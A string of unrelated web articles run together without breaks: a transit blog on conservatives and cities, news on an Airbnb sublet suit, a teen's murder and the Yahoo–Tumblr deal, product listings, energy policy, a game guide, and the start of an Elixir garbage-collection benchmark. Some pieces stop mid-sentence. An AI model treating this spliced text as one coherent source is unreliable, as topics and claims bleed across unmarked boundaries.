Conservative parties in those countries are also careful about managing elements of their base that thrive on the demonization and exclusion of some kind of demographic Other, such as racial, religous, or sexual categories. Messages that disparage these groups are now so unacceptable in major cities that they cut off voters who might otherwise support a conservative message. The daily experience of city life is all about sharing small spaces with people who are different from you, and prospering from creativity that arises from that mixture of perspectives and experiences, so demonizing diversity amounts to demonizing the very idea of the city.
All this is very related to public transit, this blog's core concern. I've argued in the Atlantic that transit thrives on thinking that embraces diversity instead of presuming fixed divides. To me, that embrace of diversity must include the richness of views, passions and human experience that are currently trapped and concealed inside the word "conservative."
Conservatives can help make good transit policy, once they are engaged in conversation about it. Conservative-dominated places like Alberta and Utah have made remarkably aggressive transit investments, justifed in part on sensible bipartisan understanding of what cities are, and what they need to thrive as engines of prosperity and innovation. When I've worked with elected boards or officials on difficult choices facing public transit in a city, I've noticed that self-identified conservatives are as least as likely as self-identified liberals to lead on the hard choices, by which I mean angering a core constituency or risking public complaint in order to meet some urgent large goal such as balancing the budget or establishing a clear policy.
The conservative-liberal or Republican-Democrat divide, as the media has constructed it, is not a real story. Delusional narratives are supposed to be entertaining, but this one is both delusional and boring. We will leave this story behind only when we start pointing out how searingly boring it is. The media are desperate to entertain, so only that message will get through to them.
Here is the real story: There is a polarization-vs-consensus divide, with large forces arrayed on the side of those who are terrified that people might begin listening to each other. There is an information-vs-ignorance divide, with large forces arrayed on the side of stopping the flow of information and rational argument.
Cities are places where, over time, the power of listening and information is most likely to prevail. They're not the only places; thanks to the internet, you can stay informed and immersed in conversation even if you're surrounded by 100 acres of sheep. But cities make the process involuntary; it happens to everyone to some degree. You cannot walk down the street (here's where sidewalks matter!) without encountering diversity and seeing how essential it is to city life. You cannot help meeting people of different races, religions, and sexual identities. That's what a city is. It's why polarizers and will always hate cities, and why tyrants will always find them hard to control. But it's also why they are such engines of growth and creativity in a world where information is power.A New Jersey man let a new-to-the-city pal stay in the Manhattan apartment he keeps on the side — but when he asked her to leave, he discovered she was renting it out on Airbnb, according to a new lawsuit.
Brianna Hallam started staying at Alec Jain’s $3,800-a-month rental in September 2016 “while she looked for an apartment of her own,” his Manhattan Supreme Court suit says.
When he asked her to leave a month later, she refused, the suit says.
Then Jain, 30, found out that Hallam, 25, was renting the unit out on Airbnb — and had moved all of his personal items including jewelry, electronics and clothing out of the apartment, according to court papers.
He contacted the website and they removed the posting, but Hallam created new accounts and continued listing the apartment, the suit says.
When Jain tried to evict Hallam again she filed a Housing Court action against him, claiming an illegal lockout.
Hallam’s attorney, Richard Rosenblatt, said his client won the Housing Court action after claiming that Jain improperly removed all her belongings, leaving behind just a flower and a pair of soiled underwear on the bed.
Rosenblatta said “there’s no Airbnb going on whatsoever.”
Meanwhile Jain’s facing $18,0000 in fines from his landlord over the Airbnb sublets. His attorney did not respond to requests for comment.10 Rustic Accent Ideas for the Bathroom
Made by hand in the USA, the Wyatt Bench Hamper and Wastebasket are testaments to the skill and craftsmanship of the artisans who produce them. This rustic, yet refined look is handcrafted from American hardwood and rough sawn so that the unique, natural characteristics of the wood create pieces that are one of a kind. These unique items are perfect for hallways, end of the bed and all rooms of the home. The hamper lid is finished with a woven fabric that is inspired by the look and feel of burlap for a unique finishing touch. Inside the hamper is a removable liner, that is woven in the USA, to make transporting clothes to the laundry room a breeze. Hamper feet ensure that your floor stays safe from scratches and scuffs. The Wyatt collection comes in several finishes-natural, chocolate and grey. Made in the USA, the Wyatt collection will have a place in your home for years to come.
A whimsical porcelain French claw foot bathtub style statement piece can be used as a small planter, soap dish, or accessories tray.
Old french script written on the bathtub adds a vintage flair. The classic white bathtub decor is contrasted with dark brown rustic script and weathered lines.
Old French farmhouse white bathtub planter is great for place settings, home & office table decor, & wedding favors.
**Official MyGift® product.** Plant not included.
Approximate Dimensions: 6″ L x 3.3″ H x 2.5″ W.
This Bathroom Ladder Shelf is sure to tidy up your home. This wood and metal Bathroom Ladder Shelf will keep you organized. This cute piece of home decor is perfect accent to your bathroom. The shelf area features a metal rail that keeps stored items from falling. This multi purpose ladder shelf are sure to get loads of praise from your visitors, so wait no more and get one now. Hardware is included to make installation quick and easy.
Polyester
Imported
70 INCHES LONG x 69 INCHES WIDE – High quality Turkish fabric, No liner needed, Includes free hooks
MACHINE WASHABLE – Vibrant colors, Clear image, No fading, No dyes harming health of your family
WATERPROOF – Mold, mildew and soap resistant, Non vinyl, Non PEVA, Environmentally friendly
ADDS GREAT PERSPECTIVE – Bold graphics printed with state of the art digital printing technology
DESIGNER ARTWORK – Not a common usual shower curtain you can find anywhere. Unique. Genuine. FUN.
This mason jar set adds the perfect rustic charm to your bathroom. These make a perfect wedding, housewarming/new home gift; also great gift idea for mom, friend, sister, co-worker or just about anyone to use all year round. It’s shabby chic style at it’s best!
Enjoy stylish bathroom storage with our rustic décor Mason jar toothbrush holder. Built with new wood and 4 new half-pint size Mason jars, the size of the board is approximately 17.5″ wide and 5.5″ tall. This works great as a handy bathroom organizer to hold items such as toothbrushes, Q-Tips, makeup brushes, etc. Or use it as an office organizer to store pencils, pens, markers, etc. We have also had customers use these in their kitchens to hold cooking utensils.
Relax, Wash and Soak! The purchase of this listing includes a set of three signs embellished with twine and white block letters proclaiming these three bathroom goals. Whether you are looking to draw a bath and unwind with a glass of wine after a long day with a good soak, or simply take a hot scrubby shower to wash off, you will always be reminded to relax with these signs. Each of these wood bathroom signs measures 3.75 x 18 inches. Expertly handcrafted and fashioned from solid pine wood hand cut to size, these wooden bathroom signs also feature weathered staining for a particular rustic look. The lettering is applied using snow white acrylic paint, and each piece is sealed with a light coat of high gloss polyurethane to ensure these signs will be treasured pieces of your home for years to come. This set of three signs will not match the pictures above exactly because they are handmade. This is not a flaw, but rather the promise that your rustic home décor will feature unique designs and intricacies. We believe the beauty of our natural components should shine through, and each set of pine wood signs is wonderfully natural, distinct, and made just for you.
INGENIOUS DESIGN: Organizes earrings, necklaces, bracelets and accessories to keep your jewelry tangle-free!
BEAUTIFUL APPEARANCE: High quality rustic wooden design showcases your jewelry in style
READY TO HANG: Wall mounting screws and anchors included for easy quick
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Byzantine alcohol laws enacted at the end of Prohibition, critics say, give the Beehive State a reputation as a swarm of out-of-touch fuddy-duddies.
The laws limit the alcohol content in beer to 3.2% — less than the typical 5% — and require restaurants to derive only 30% of their sales from alcohol. Stiff drinks are also verboten here, with bars and restaurants required to use meters to avoid over-pours.
State law once forbade bars as well as restaurants from dispensing alcohol in the same area where it was stored. Bartenders dashed behind a barrier to prepare a drink. The requirement was dropped for bars in 2009 but still applies to restaurants opened since then.
At Pallet, set in the historic loading dock area of the city's first creamery, Pfohl and other bartenders must mix drinks at a tiny makeshift counter inside the cramped kitchen, negotiating swinging doors to serve a drink and resume broken-off chats with customers.
State Rep. Kraig Powell, who co-wrote the Zion Curtain bill, represents the ski resort town of Park City, site of the annual Sundance Film Festival, where many filmmakers view the state's drinking laws as something akin to a covered wagon parked in a lot full of Maseratis.
Opponents are already rallying against Powell's legislation. The LDS church recently posted on its website a lengthy multimedia policy statement, complete with videos and graphs, urging lawmakers to uphold the current alcohol restrictions, with a high-ranking church official stressing that the laws are "closely tied to the moral culture of the state."
His tone grandfatherly, D. Todd Christofferson, a member of the Quorum of the Twelve Apostles, the second-highest governing body in the church, says: "It's very important that we avoid an alcohol culture."The US – and indeed the world – is at a crossroads when it comes to the choice on how we want to provide energy services in the future, writes US energy expert Allan Hoffman. According to Hoffman, the US desperately needs a national energy policy that recognizes the importance of moving to a renewable energy future as quickly as possible. Without such a policy, economic growth, the environment and national security will suffer.
There are two fundamental ‘things’ needed to sustain human life, water and energy. Water is the more precious of the two as reflected in the Arab saying “Water is life.” Without water life as we know it would not exist, and there are no substitutes for water – without it we die.
We also need energy to power our bodies, derived from chemical conversions of the food we consume. We also need energy to enable the external energy services we rely on in daily life – lighting, heating, cooling, transportation, clean water, communications, entertainment, and commercial and industrial activities. Where energy differs from water as a critical element of sustainable development is the fact that energy is available in many different forms for human use – e.g., by combustion of fossil fuels, nuclear power, and various forms of renewable energy.
Critical juncture
Today the U.S., and indeed the world, stands at a critical juncture on how to provide these energy services in the future. Historically, energy has been provided to some extent by human power, by animal power, and the burning of wood to create heat and light. Wind energy was also used for several centuries to power ships and land-based windmills that provided mechanical energy for water-pumping and threshing. With the discovery and development of large energy resources in the form of stored chemical energy in hydrocarbons such as coal, petroleum, and natural gas, the world turned to the combustion of these fuels to release large amounts of thermal energy and eventually electricity with the development of steam power generators. Nuclear power was introduced in the period following World War II as a new source of heat for producing steam and powering electricity generators and ships.
My recommendation is to put a long-term and steadily increasing price on carbon emissions to motivate appropriate private sector decisions to use fewer fossil fuels and more renewable energy and let the markets work
Renewable energy, energy that is derived directly or indirectly from the sun’s energy intercepted by the earth (except for geothermal energy that is derived from radioactive decay in the earth’s core), has been available for a while in the form of hydropower, originally in the form of run-of-the-river water wheels, and since the 20th century in the form of large hydroelectric dams. Other forms of renewable energy have emerged recently as important options for the future, driven by steadily reducing costs, the realization that fossil fuels, while currently available in large quantity but eventually depletable, put carbon dioxide into the atmosphere when combusted, contributing to global warming and associated climate change. Renewable energy technologies, except for biomass conversion or combustion, puts no carbon into the atmosphere, but even in the biomass case it is a no-net-carbon situation since carbon is absorbed in the growing of biomass materials such as wood and other crops.
Support for renewables is also driven by increasing awareness that while nuclear power generation does not put carbon into the atmosphere it does create multigenerational radioactive waste disposal problems, can be expensive, raises low probability but high consequence safety issues, and is a step on the road to proliferation of nuclear weapons capability. Another driver is the now well documented and growing understanding that renewable energy, in its many forms, can provide the bulk of our electrical energy needs, as long disputed by competing energy sources.
Clean future
All these introductory comments are leading to a discussion of the energy policy choice facing our country, and other countries, and my recommendations for that policy. This choice has been avoided by the U.S. Congress in recent years, much to the short-term and long-term detriment of the U.S. We desperately need a national energy policy that recognizes the importance of energy efficiency and moving to a renewable energy future as quickly as possible. That policy should be one that creates the needed environment for investment in renewable technologies and one that will allow the U.S. to be a major economic player in the world’s inevitable march to a clean energy future.
Before getting into policy specifics, let me add just a few more words on renewable energy technologies. Hydropower is well known as the conversion of the kinetic energy of moving water into electrical energy via turbine generators. Solar energy is the direct conversion of solar radiation directly into electricity via photovoltaic (solar) cells or the use of focused/concentrated solar energy to produce heat and then steam and electricity. Wind energy, an indirect form of solar energy due to uneven heating of the earth’s surface, converts the kinetic energy of the wind into mechanical energy and electricity.
The critical need is to move through this transition as quickly as possible
Geothermal energy uses the heat of the earth to heat water into steam and electricity, or to heat homes and other spaces directly. Biomass energy uses the chemical energy captured in growing organic material either directly via combustion or in conversion to other fuel sources such as biofuels. Ocean energy uses the kinetic energy in waves and ocean currents, and the thermal energy in heated ocean areas, to create other sources of mechanical and electrical energy. All in all, a rich menu of energy options that we are finally exploring in depth.
Controversial
Energy policy is a complicated and controversial field, reflecting many different national, global, and vested interests. Today’s world is largely powered by fossil fuels and is likely to be so powered for several decades into the future until renewable energy is brought more fully into the mainstream. Unnfortunately this takes time as history teaches, and the needs of developing and developed nations (e.g., in transportation) need to be addressed during the period in which the transition takes place.
The critical need is to move through this transition as quickly as possible. Without clear national energy policies that recognize the need to move away from a fossil fuel-based energy system, and to a low-carbon clean energy future, as quickly as possible, this inevitable transition will be stretched out unnecessarily, with adverse environmental, job-creation, and other economic and national security impacts.
My recommendation is to put a long-term and steadily increasing price on carbon emissions to motivate appropriate private sector decisions to use fewer fossil fuels and more renewable energy and let the markets work. Nuclear power, another low-carbon technology, remains an option as long as the problems listed earlier can be addressed adequately. My personal view is that renewables are a much better answer.
The revenues generated by such a ‘tax’ can be used to reduce social inequities introduced by such a tax, lower other taxes, and enable investments consistent with long-term national needs. In the U.S. it also provides a means for cooperation between Republicans and Democrats, something we have not seen for several decades. It is clear that President Obama ‘gets it’. It is now more than time for U.S. legislators to get it as well.
Editor’s Note
Allan Hoffman, former Senior Analyst in the Office of Energy Efficiency and Renewable Energy at the U.S. Department of Energy (DOE), writes a regular blog: Thoughts of a Lapsed Physicist.
On Energy Post, we regularly publish posts from Allan’s blog,in his blog section Policy & Technology. His writings often deal with issues at the intersection of energy technology, policy and markets. Allan, who holds a Ph.D. in physics from Brown University, served as Staff Scientist with the U.S. Senate Committee on Commerce, Science, and Transportation, and in a variety of senior management positions at the U.S. National Academies of Sciences and the DOE. He is a Fellow of the American Physical Society and the American Association for the Advancement of Science.Yahoo Board to Meet Sunday to Consider $1.1 Billion, All-Cash Deal to Acquire Tumblr
According to sources close to the situation, the Yahoo board plans to meet Sunday to decide whether to approve a $1.1 billion all-cash offer for New York-based blogging site Tumblr.
As AllThingsD.com first reported yesterday, Yahoo has been mulling some kind of deal with the hip New York-based blogging site, from a strategic investment to an outright acquisition. Sources said that the Silicon Valley Internet giant’s CEO Marissa Mayer has decided that buying Tumblr was going to be “the stake in the ground of what her strategy is going forward for Yahoo.”
And that is to attract younger audiences with just the kind of user-generated content Tumblr has pioneered to huge growth.
As with all big-time acquisition deals, this one could certainly fall apart at the last minute, but source said the agreement was still in place as of today. If approved by Yahoo’s board, it will be announced Monday. Yahoo has already said it has news to announce then.
According to numerous sources, Mayer started an intense focus on Tumblr about six weeks ago and determined quickly that the fast-growing content site, turbocharged by mountains of user-generated content, was just the kind of property that Yahoo needed to make it both “cool” and relevant to new audiences.
Yahoo is looking to undergird its strong set of existing media offerings to appeal to a different audience and also get into the social space via consumer-based software solutions that are both elegant and easy to use.
Tumblr’s mobile usage has also been strong, which also interested Mayer. While Tumblr started as a desktop-based service, its mobile usage has ramped up quickly in the last few years. ComScore says that a quarter of the service’s U.S. visitors now come from mobile devices.
At this price, it will be Mayer’s biggest acquisition so far. Since she became CEO last summer, Mayer has made only a series of small acquisitions of mobile startups.
Sources said that as part of the deal, founder and CEO David Karp would continue to operate the business, with Mayer promising him a level of autonomy, despite the need to integrate closely with Yahoo too. He will be locked in, sources said, via a four-year deal that will reward him for performance of the business.
Presumably, the Tumblr brand will continue.
The deal, if consummated will be a big win for investors. In a series of fundings since 2007, Tumblr has raised $125 million so far and is now at a reported valuation of $800 million. Investors include Spark Capital, Union Square Ventures, Sequoia Capital, Greylock Partners, Insight Venture Partners and the Chernin Group.
While Tumblr’s Karp has resisted various offers for the company over the years, Mayer spent a lot of time with him reassuring him of how Yahoo could turbocharge his business. He has also been searching for a COO to help him build out the infrastructure of its business, especially its advertising one.
And as Peter Kafka and I previously wrote, Tumblr could certainly bring Yahoo a big, young audience. Its worldwide traffic was at 117 million visitors in April, according to comScore. On its home page, Tumblr claims it has 107.8 million blogs and 50.6 billion posts. U.S. desktop traffic to Tumblr was 37 million in April, close to LinkedIn and Twitter, although Twitter obviously has much more via mobile.
But figuring out how to make money from that audience is a task that the company has only recently started to tackle.
Like other recent Web startups that have seen rocket ship growth — see: Twitter, Facebook — Tumblr resisted advertising for its formative years, and its user base seems particularly unwilling to accept standard banner ads. In addition, many industry observers think that Tumblr’s pages are packed with porn and/or other questionable content that would scare off advertisers.
But within the last year or so, Tumblr has started selling modestly sized “native ads” promoting brands’ Tumblr pages, on users’ “dashboards,” which has shown promise. Tumblr has said it had $13 million in revenue last year and sources said it could get to up to $100 million this year.
Tumblr has been represented by Qatalyst Partners’ Frank Quattrone, while Yahoo’s Mayer, as well as M&A head Jackie Reses and CFO Ken Goldman has been on the company’s side.
More to come, obviously.In celebration of the Chinese zodiac and this years “Year of the Goat,” the New Zealand Mint has created this stunning 2015 Silver Goat Coin. JM Bullion will ship these silver coins in brand new, Brilliant Uncirculated condition. As a privately owned mint, the New Zealand Mint is revered for its minting excellence and captivating designs. Based in Auckland, New Zealand, the mint is the nations only precious metals mint and has established itself as “the Minters of the South Pacific.”
Coin Highlights:
Contains 1 oz of.999 fine silver.
Minted by the New Zealand Mint.
Features a special Goat design as part of a Chinese Lunar Calendar series.
Available in Brilliant Uncirculated condition.
Each 2015 1 oz New Zealand Goat Silver Coin reflects a unique design that features three goats frolicking amidst mountainous terrain. The “lucky three goats,” as they are dubbed, have been created with innovative artistry. The obverse side of each coin reflects the image of Queen Elizabeth II. Each coin has been stamped with its year of issue, 2015, and its face value, $2. Produced with one troy ounce of.999 pure silver, these coins are an exceptional commemoration of the year of the goat.
JM Bullion will ship each 2015 1 oz New Zealand Goat Silver Coin just as we receive them from the mint, so you can depend upon its authenticity and quality. We also ship all purchases fully insured to protect our customers investments in precious metals. As the mintage of these Silver Goat Coins is limited, we encourage our customers to procure their coins while supplies last.
If you have any questions about the 2015 1 oz New Zealand Goat Silver Coin or our other listed products, please call us at 800-276-6508. As an excellent investment in fine silver bullion, these extraordinary coins are sure to help you build your portfolio of wealth. JM Bullion adds new products to the website on a regular basis, so be sure to visit as often as you can to see whats new.The third personal prize you will earn after collecting 800 gold is vaguely labeled as the “Cheaters 20 Pack”. To be more specific, it’s five of them. Once unlocked you can buy Cheaters 20s from the shop for donuts. This is not recommended, as you have a small chance of accruing one of these die every time you defend against an attack (i.e. tap a shield).
Single Cheaters 20 – 9 donuts
Handful of 5 Cheaters 20s – 44 donuts
Bag of 20 Cheaters 20s – 155 donuts
What do Cheaters 20s even do?
They let you cheat, duh-doy. To be more specific they give you the opportunity to deliver a crushing blow to a house or a castle… with no wait time. Obviously it’s better to wreck a castle than a house using this method, as castle yield higher rewards. So if you are going to use a d20 to attack, attack a castle.
How do I defend with a Cheaters 20s?
When you’re in your own town, look in the top-right-hand corner. If you tap the shield icon with the dice emblem on it (shown to the left of this paragraph) you’ll activate the ability to use the d20 to defend. If you click this icon by accident, just tap it again to switch this mode off. For those who played the Halloween update last year, this basically works the same as the Ghost Bomb did.
This will instantly rebuild all wrecked buildings, defend against buildings currently under attack, and removal all opponents’ nerds from your town. It also auto-collects all gold and elixir that would have been won had you tapped on each building and castle manually. If you’ve been away from the game for a substantial amount of time and just want to wipe away the chaos in one click, give one of these a try.
Don’t I have to do each of these things once anyway to complete a quest?
Yes, the “Rolling With It” quest makes you use two of the five die you just earned in each of the ways explained above. Don’t be too upset though, it’s done primarily as a way to teach you that you can use these die in different ways. As with all cleared tasks during this update, it nets you 100 elixir and 10 XP.
Rolling With It
Professor Frink: G’hoiven moiven! Which is Frinkish for g’hoiven morning!
Barbarian Homer: Can I just be honest for a sec? Everything about you is incredibly annoying.
Professor Frink: Be that as it may-ven, I have invented a dice, or die, which guarantees a victory in attacks against other towns.
Barbarian Homer: Die, eh? How many sides?
Professor Frink: 20 sides!
Barbarian Homer: Just 20?
Professor Frink: This amazing icosahedron always lands on twenty, guaranteeing victory, as I said before.
Barbarian Homer: So? What about getting attacked? Does it help for that?
Professor Frink: Why yes it does! The always-20 icosahedron when rolled can also defend against any attack!
Barbarian Homer: Ok. Look. I’m sorry about what I said earlier. You do come up with pretty cool stuff.
Professor Frink: Glayvin-hoiven-maven-nice ladyee!
Barbarian Homer: I’m gonna go get wasted on purple stuff now.Much like a fine wine, the newest EP from French producer CloZee gets better with time; each listen unveils one more layer in her deliberate and memorable productions. "The Poetic Assassin" is five tracks which are simultaneously fresh yet nostalgic, providing what could be a stunning soundtrack to a movie which has not yet been made. Chloé Herry showcases her myriad of musical talents at every turn, from live strings and keys to intricate drum programming and glitched out percussion. The progression through the album could be likened to the ebb and flow of the tides, as stirring melodies fluidly give way to captivating basslines before returning into familiar emotive territory.Follow CloZee:SoundCloud: soundcloud.com/clozee Facebook: www.facebook.com/CloZee Youtube: www.youtube.com/user/boulet008 Blog Love:The Waxhole - waxholerecords.com/2013/10/clozee-assassinates-us-all.html Welcome To The NXT LVL - www.welcometothenextlevel.net/clozee-the-poetic-assassin-glitch/ Booms and Clap - boomsandclaps.com/clozee-the-poetic-assassin/ONE of the Socceroos biggest names could be the latest to join the Chinese money train with negotiations taking place for star winger Robbie Kruse to join Liaoning Whowin.
The 48-time Socceroo has been left out of Bayer Leverkusen’s mid-season trip to Florida as talks continue over his departure from the club.
It is understood that the finer details need to be ironed out with the German giants for the services of Brisbane born Kruse, who is out of contract at the end of the season and available on a free transfer at that point in time.
Another club is also believed to be pursuing the former Brisbane Roar and Melbourne Victory star.
If the move does go through it could well draw criticism from many quarters with another of the national team’s crucial players moving away from Europe and one of world football’s biggest leagues for the developing, but still raw, Chinese Super League. Despite the host of star names moving there, it lacks exposure of Europe’s big leagues.
Kruse’s case for taking the Chinese cash is strengthened however when you take into account the 28-year-old’s horrible injury record of late.
He has made only two appearances for Bayer Leverkusen this season.Jill Walker cringes every time she turns on the news and hears the phrase “football player murdered cheerleader.”
“I want people to know my daughter isn’t just a murdered cheerleader,” Walker tells PEOPLE of 16-year-old Emma Walker. “She was so much more than that.”
Police say Emma was killed in her bedroom on Nov. 21 when her 18-year-old ex-boyfriend, former Maryville College wide receiver William Riley Gaul, allegedly shot her from outside the family’s one-story home in Knoxville, Tennessee, while she slept.
Yes, Jill says, Emma was a cheerleader at Central High School in Knoxville. “But she was also so many things to so many people.”
“She was a daughter, a sister, a friend,” Jill says. “She would act silly and didn’t care what other people thought. She didn’t care about being in a certain group. She was friends with everybody.
“She was involved in her community, had a job and was an honors student. She was an independent little thing and could be stubborn — and sassy. She marched to her own drum.”
But mostly, Jill says, “Emma had a big heart.” The teen planned on being a neonatal nurse.
“She loved babies, animals and old people,” her mom says. “If she saw an elderly couple together, she would always say to me, ‘Oh, there is the cutest little couple.’ ”
Emma’s aunt has claimed Gaul “refused” to move on after he and Emma broke up in the fall, and investigators allege he stalked her weeks before he shot her dead.
He was arrested on Nov. 22 at his home, a day after the killing. On Jan. 25, he was indicted on seven criminal counts in the case, including first-degree murder, especially aggravated stalking, tampering with evidence and employing a firearm during a dangerous felony.
• Want to keep up with the latest crime coverage? Click here to get breaking crime news, ongoing trial coverage and details of intriguing unsolved cases in the True Crime Newsletter.
William Riley Gaul Knox County Sheriff's Office
After posting $1 million bond on Tuesday, Gaul was released from the Knox County Detention Facility where he had been held. He has not yet entered a plea and is scheduled to be arraigned on Feb. 13.
His attorney has not returned calls, and a woman who answered the phone at his mother’s address declined to comment. Gaul’s mother told WATE in November that her son was not responsible.
“Riley did not do this,” she told the station. “He would not hurt her because he loved Emma dearly. He is not a monster.”
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‘Keeping Emma’s Little Spirit Alive’
Since Emma’s death, her parents and younger brother, Evan, have been trying to cope with their loss as best they can, Jill says: “We are living day by day. We are trying to find a new normal for ourselves and stay positive.”
In January, it was announced that Emma’s family and friends, and other well-wishers, had raised enough money to name a neonatal intensive care unit room in her honor at East Tennessee Children’s Hospital — reflecting her dreams of becoming a nurse.
A scholarship was also named for her at Central High. Donations can be made by check, including the name of the scholarship, mailed directly to the school. A fundraiser will be held at Central High on March 24.
“We are trying to keep Emma’s little spirit alive,” Jill says.
With a murder trial pending, she is unable to discuss the shooting or her daughter’s relationship with Gaul. “I just hope that justice is served,” she says.
Jill says she’s learned new things about Emma in the wake of her death. “I have received a few notes from other mothers, who wrote to me and said, ‘My daughter was being picked on and Emma stood up for her,’ ” she says.
“It makes me feel good to know that she was out there doing the right thing and not just following along with what other people did. That says a lot.”The Telangana government wants all chapters related to Andhra history or culture to be deleted from school textbooks. (Photo: DC/File)
Hyderabad: There will be no references or chapters on Andhra Pradesh in the new curriculum for schools in Telangana.
The Telangana government wants all chapters related to Andhra history or culture to be deleted from school textbooks. The government has formed two committees to review the syllabus for social studies and Telugu and add Telangana centric chapters. Officials said this will not affect students in examinations since each state prepares its own question papers.
The existing curriculum also has very little reference to other states in the country and many Telangana writers and poets say that it is loaded with literature from Andhra region, while that from Telangana has been stamped upon and completely eliminated.
It is learnt that education minister G. Jagdish Reddy has already told the committees to remove Andhra related material and said that anything related to history of Andhra or literature by writers and poets from Andhra should not be present in the curriculum.
“Instructions are very clear. Nothing related to Andhra’s culture or history should be there. Everything should be from Telangana’s perspective. Obviously references will be there in some parts but anything exclusively about Andhra region is to be removed,” a senior official said.
S. Jagannath Reddy, director, State Council of Educational Research and Training said, “For instance, if there is a chapter related to some poet from Andhra, it will be removed and Telangana related coursework will be added.
The government also does not want the curriculum to be inflated to include aspects related to both states. TRS election manifesto also promised that the history and culture of Telangana will be included in school text books. “We can expand that course work but exactly what to delete and what to add will be decided once the committees meets. We will hold workshops,” Jagannath Reddy said.Looking for news you can trust?
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As Americans lose ever more jobs and economic clout to China, the pressure’s mounting for us to become more Chinese. Enter Texas Governor Rick Perry, whose 2012 presidential campaign slogan might as well be, “If you can’t beat ’em, join ’em.” In many ways, Texas is the China in our own backyard, a big, brash upstart that’s created thousands of jobs by playing economic hardball. Admirers of the Lone Star State have dubbed its economy the “Texas Miracle,” but maybe a better name would be the “Texas Tiger.”
Jobs for the taking:
China: Since joining the WTO, it has taken or caused the loss of more than 2.4 million US jobs.
Texas: Home to half of all US jobs created since 2009. Perry travels to other states to poach major employers.
Red states:
China: Deflates the value of its currency by 40 percent to subsidize exports and job creation.
Texas: Since 2003, has doled out $732 million in tax credits and subsidies to companies that relocated to the Lone Star State.
Labor on the cheap:
China: About 10 percent of the population still earns less than a dollar a day (pdf).
Texas: Tied with Mississippi for the highest percentage of workers that earn the minimum wage or less.
Eco-impunity:
China: World’s top carbon emitter would rather burn cheap coal than sign a climate treaty.
Texas: Nation’s top carbon emitter was only state to refuse to comply with new federal regulations on greenhouse gas emissions.
Tea party:
China: Effective corporate tax rate of 16.6 percent is less than half the US rate.
Texas: Top corporate tax rate of 1% is fourth lowest among US states. Bonus: No personal income tax.
Toxic torts:
China: Tainted milk, poisonous toys, glow-in-the-dark pork: Product scandals are common. Court convictions, not so much.
Texas: “Hurt? Injured? Need a lawyer? Too bad!” writes Texas Monthly, pointing out that the state’s tort reforms force everyone from the hospitalized to homebuyers to fend for themselves.
Of rice and men:
China: Suffers from “a lack of adequate (even basic) social protection for a large portion of its 1.3 billion population,” according to the International Social Security Association.
Texas: Ranks 46th out of 50 states in per-capita spending; new budget slashes another $15 billion from social services such as Medicaid, mental health centers, and legal aid for the poor.
Free-market cronyism:
China: “Princelings” such as vice-president Xi Jinping and Chongqing party secretary Bo Xilai have gotten rich by trading on their connections.
Texas: “Good ol’ boys” such as corporate raider Harold Simmons and real estate mogul Harlan Crow have gotten rich by trading on their political donations.
Pray for rain:
China: Encroaching desert consumes a million acres of land a year.
Texas: The worst drought in history has turned large parts of the state into a moonscape.
40-gallon hats:
China: Texas:AT the opening of the United Nations General Assembly on Tuesday, Dilma Rousseff, the president of my country, Brazil, delivered a scolding speech in response to reports that the National Security Agency has monitored electronic communications of Brazilian citizens, members of government and private corporations. Like a displeased school principal, Ms. Rousseff seemed to speak directly to President Obama, who was waiting in the wings to deliver his own speech.
She called the surveillance program “a breach of international law” and “a situation of grave violation of human rights and of civil liberties; of invasion and capture of confidential information concerning corporate activities; and especially of disrespect to national sovereignty.” She seemed personally offended when she demanded “explanations, apologies and guarantees that such procedures will never be repeated.” Last week, she called off a planned visit to the United States, after she learned that the N.S.A. had gained access to her own e-mails, telephone calls and text messages.
All in all, it was a nice example of what Brazilians call “Dilma Bolada,” or “Furious Dilma.” (A Rio de Janeiro publicist has even created a fake Twitter profile under that name, to make fun of our president’s famous short temper.)
Her strong response was likely more a symbolic position than a political act with practical outcomes, and some interpreted it as nothing more than a way of boosting her popularity for the presidential election next year. But it was well received in Brazil, where for the last four months people have been closely following the news about the secret documents on the spying program leaked by Edward J. Snowden.Recently I came across two great articles on the Pusher blog: Low latency, large working set, and GHC’s garbage collector: pick two of three and Golang’s Real-time GC in Theory and Practice. The articles tell the story of how Pusher engineers reimplemented their message bus. The first take was done in Haskell. During performance tests they noticed some high latencies in the 99 percentile range. After they bared down the code they were able to prove that these spikes are caused by the GHC stop-the-world garbage collector coupled with a large working set (the number of in-memory objects). The team then experimented with Go and got much better results, owing to Go’s concurrent garbage collector.
I highly recommend both articles. The Pusher test is a great benching example, as it is focused on solving a real challenge, and evaluating a technology based on whether it’s suitable for the job. This is the kind of evaluation I prefer. Instead of comparing technologies through some shallow synthetic benchmarks, such as passing a token through the ring, or benching a web server which returns “200 OK”, I find it much more useful to make a simple implementation of the critical functionality, and then see how it behaves under the desired load. This should provide the answer to the question “Can I solve X efficiently using Y?”. This is the approach I took when I first evaluated Erlang. A 12 hours test of the simulation of the real system with 10 times of the expected load convinced me that the technology is more than capable for what I needed.
Challenge accepted
Reading the Pusher articles made me wonder how well would the Elixir implementation perform. After all, the underlying Erlang VM (BEAM) has been built with low and predictable latency in mind, so coupled with other properties such as fault-tolerance, massive concurrency, scalability, support for distributed systems, it seems like a compelling choice for the job.
So let me define the challenge, based on the original articles. I’ll implement a FIFO buffer that can handle two operations: push, and pull. The buffer is bound by some maximum size. If the buffer is full, a push operation will overwrite the oldest item in the queue.
The goal is to reduce the maximum latency of push and pull operations of a very large buffer (max 200k items). It’s important to keep this final goal in mind. I care about smoothing out latency spikes of buffer operations. I care less about which language gives me better worst-case GC pauses. While the root issue of the Pusher challenge is caused by long GC pauses, that doesn’t mean that I can solve it only by moving to another language. As I’ll demonstrate, relying on a few tricks in Elixir/Erlang, we can bypass GC completely and bring max latency into the microseconds area.
Measuring
To measure the performance, I decided to run the buffer in a separate GenServer powered process. You can see the implementation here.
The measurements are taken using Erlang’s tracing capabilities. A separate process is started, which sets up the trace of the buffer process. It receives start/finish times of push and pull operations as well as buffer’s garbage collections. It collects those times, and when asked, produces the final stats. You can find the implementation here.
Tracing will cause some slowdowns. The whole bench seems to take about 2x longer when the tracing is used. I can’t say how much does it affect the reported times, but I don’t care that much. If I’m able to get good results with tracing turned on, then the implementation should suffice when the tracing is turned off :-)
For those of you not familiar with Erlang, the word process here refers to an Erlang process - a lightweight concurrent program that runs in the same OS process and shares nothing with other Erlang processes. At the OS level, we still have just one OS process, but inside it multiple Erlang processes are running separately.
